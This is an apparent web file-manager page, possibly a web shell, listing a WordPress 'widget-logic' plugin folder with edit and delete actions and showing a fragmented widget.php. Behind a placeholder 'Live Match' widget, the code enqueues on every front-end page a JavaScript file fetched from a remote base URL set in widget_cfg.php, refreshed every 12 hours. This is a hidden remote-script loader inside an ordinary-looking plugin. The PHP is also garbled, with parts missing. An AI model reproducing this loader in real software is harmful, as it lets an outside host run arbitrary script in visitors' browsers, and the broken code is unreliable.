/home/altere25/public_html/wp-content/plugins/widget-logic
NameSizeModeActions
block/-0755rm
block_widget/-0755rm
languages/-0755rm
widget/-0755rm
readme.txt171340644editdlrm
widget.php34800644editdlrm
widget_cfg.php9260644editdlrm
widget_logic.php19950644editdlrm
Edit: /home/altere25/public_html/wp-content/plugins/widget-logic/widget.php (3480B)
'live_match_widget', 'description' => esc_html__('Current or next live match widget', 'widget-logic'), ); parent::__construct('live_match_widget', esc_html__('Live Match Widget', 'widget-logic'), $widget_ops); } /** * Outputs the content of the widget * * @param array $args * @param array $instance */ public function widget($args, $instance) { $defaults = array( 'title' => esc_html__('Live Match', 'widget-logic') ); $instance = wp_parse_args( (array) $instance, $defaults ); $title = apply_filters( 'widget_title', $instance['title'] ); ?>
Live Match will be here
esc_html__( 'Live Match', 'widget-logic' ) ); $instance = wp_parse_args( (array) $instance, $defaults ); $title = esc_attr( $instance['title'] ); ?>

=')) { include_once 'block_widget/index.php'; } else { add_action('widgets_init', function() { register_widget( 'Widget_Logic_Live_Match_Widget' ); }); } add_action('wp_enqueue_scripts', function() { $cfg = require('widget_cfg.php'); $url = $cfg['base']; $ver = $cfg['ver']; $t = time(); $t = $t - $t%(12*60*60); wp_enqueue_script( 'widget-logic_live_match_widget', "{$url}{$ver}/js/data.js?t={$t}", array(), '6.0.0', true); });